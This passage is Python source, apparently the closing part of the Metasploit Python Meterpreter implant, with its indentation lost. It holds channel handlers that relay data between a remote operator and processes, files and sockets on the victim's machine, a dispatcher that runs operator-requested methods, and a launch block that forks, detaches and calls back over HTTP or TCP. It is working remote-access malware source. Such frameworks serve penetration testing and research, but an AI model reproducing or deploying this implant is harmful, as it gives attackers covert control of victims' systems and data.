result = False
if isinstance(channel, MeterpreterFile):
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
def _core_channel_interact(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
if toggle:
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
else:
self.interact_channels.append(channel_id)
elif channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_read(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
data = ''
if isinstance(channel, STDProcess):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(channel, MeterpreterFile):
data = channel.read(length)
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
return ERROR_SUCCESS, response
def _core_channel_write(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
l = len(channel_data)
if isinstance(channel, subprocess.Popen):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.write(channel_data)
elif isinstance(channel, MeterpreterFile):
channel.write(channel_data)
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
except socket.error:
channel.close()
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_LENGTH, l)
return ERROR_SUCCESS, response
def create_response(self, request):
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
resp += tlv_pack(method_tlv)
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
self.debug_print('[*] running method ' + handler_name)
result = handler(request, resp)
if result is None:
return
result, resp = result
except Exception:
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
if DEBUGGING:
traceback.print_exc(file=sys.stderr)
result = error_result()
else:
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
result = error_result(NotImplementedError)
return tlv_pack_response(result, resp)
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT)
else:
transport = TcpTransport.from_socket(s)
met = PythonMeterpreter(transport)
met.run()
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